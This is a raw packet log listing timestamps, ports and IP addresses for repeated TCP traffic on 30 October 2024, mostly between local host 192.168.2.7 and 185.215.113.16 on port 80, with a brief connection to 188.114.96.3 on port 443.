Oct 30, 2024 11:47:01.901114941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901128054 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901140928 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901144981 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901156902 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901186943 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901189089 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901189089 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901314974 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901334047 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901345968 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901354074 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901379108 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901436090 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901448965 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901460886 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901484013 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901545048 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901582003 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901597977 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901612043 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901657104 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901669979 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901680946 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901695013 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901709080 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901712894 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901725054 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901734114 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901773930 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.942039967 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942054987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942075014 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942087889 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942100048 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942112923 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942125082 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942135096 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.942142010 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942154884 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942167997 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942174911 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.942183018 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.942194939 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.942204952 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.948813915 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.948858023 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.948935032 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.949244022 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.949259996 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:02.016915083 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016935110 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016957045 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016968012 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016979933 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016990900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.016993046 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017009974 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017020941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017071962 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017071962 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017088890 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017101049 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017112970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017123938 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017132044 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017153978 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017218113 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017229080 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017239094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017288923 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017288923 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017313957 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017327070 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017339945 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017374039 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017445087 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017457008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017477036 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017488003 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017491102 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017501116 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017510891 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017535925 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017664909 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017682076 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017693043 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017704964 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017716885 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017725945 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017740965 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017828941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017875910 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017879009 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017890930 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017906904 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017920971 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.017927885 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.017956018 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018134117 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018146038 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018165112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018176079 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018188953 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018193007 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018201113 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018223047 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018235922 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018388987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018400908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018412113 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018425941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018436909 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018436909 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018451929 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018490076 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018490076 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.018657923 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018670082 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018682003 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.018703938 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058521032 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058577061 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058653116 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058664083 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058670044 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058681965 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058692932 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058710098 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058742046 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058759928 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058790922 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058810949 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058815002 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058857918 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058875084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058890104 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058901072 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058914900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058928967 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.058931112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.058971882 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.133862972 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.133917093 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.133939028 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.133949041 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.133959055 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134001017 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134011984 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134033918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134043932 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134054899 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134078026 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134159088 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134176016 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134186029 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134195089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134205103 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134211063 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134216070 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134226084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134237051 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134254932 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134264946 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134267092 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134275913 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134290934 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134291887 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134329081 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134527922 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134537935 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134550095 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134562016 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134571075 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134571075 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134581089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134598017 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134618044 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134685993 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.134865046 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.134999990 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135090113 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135130882 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135138035 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135209084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135221004 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135252953 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135448933 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135492086 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135502100 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135505915 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135521889 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135535955 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135554075 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135554075 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135562897 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135565996 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135576010 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135592937 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135601997 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135610104 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135639906 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135710001 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135720015 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135730028 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135740995 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135754108 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135755062 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135763884 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135775089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135777950 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135787964 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135798931 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135804892 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135807991 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.135816097 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.135847092 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.176831961 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.176847935 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.176858902 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.176897049 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.176909924 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177035093 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177045107 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177051067 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177061081 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177071095 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177073956 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177098036 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177855968 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177869081 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177880049 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177891970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177901030 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177903891 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177911997 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177916050 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177927017 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.177936077 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.177973032 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251097918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251117945 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251130104 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251142979 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251153946 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251163960 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251164913 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251182079 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251185894 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251198053 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251198053 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251214981 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251225948 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251236916 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251249075 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251252890 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251257896 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251261950 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251282930 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251285076 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251296043 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251307964 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251326084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251328945 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251338005 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251348972 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251349926 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251367092 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251384020 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251403093 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251599073 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251689911 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251701117 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251710892 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251722097 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251730919 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251733065 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251744986 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251749039 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251768112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251775980 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251780987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251800060 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251810074 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251818895 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251844883 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251857996 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251868010 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251903057 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.251976013 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.251987934 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252016068 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252032042 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252043009 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252053976 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252069950 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252099037 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252211094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252223015 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252233028 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252314091 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252316952 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252331018 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252342939 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252352953 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252358913 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252365112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252377033 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252387047 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252389908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252407074 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252525091 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.252646923 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252659082 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.252696037 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.293636084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293797970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293809891 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293822050 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293834925 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293845892 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.293858051 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293872118 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293884039 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.293884993 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.293906927 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.293927908 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.294043064 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294054985 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294084072 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294095993 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.294097900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294112921 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294126987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294142962 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294147968 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.294156075 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294169903 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.294198990 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.294574976 CET	80	58204	185.215.113.16	192.168.2.7
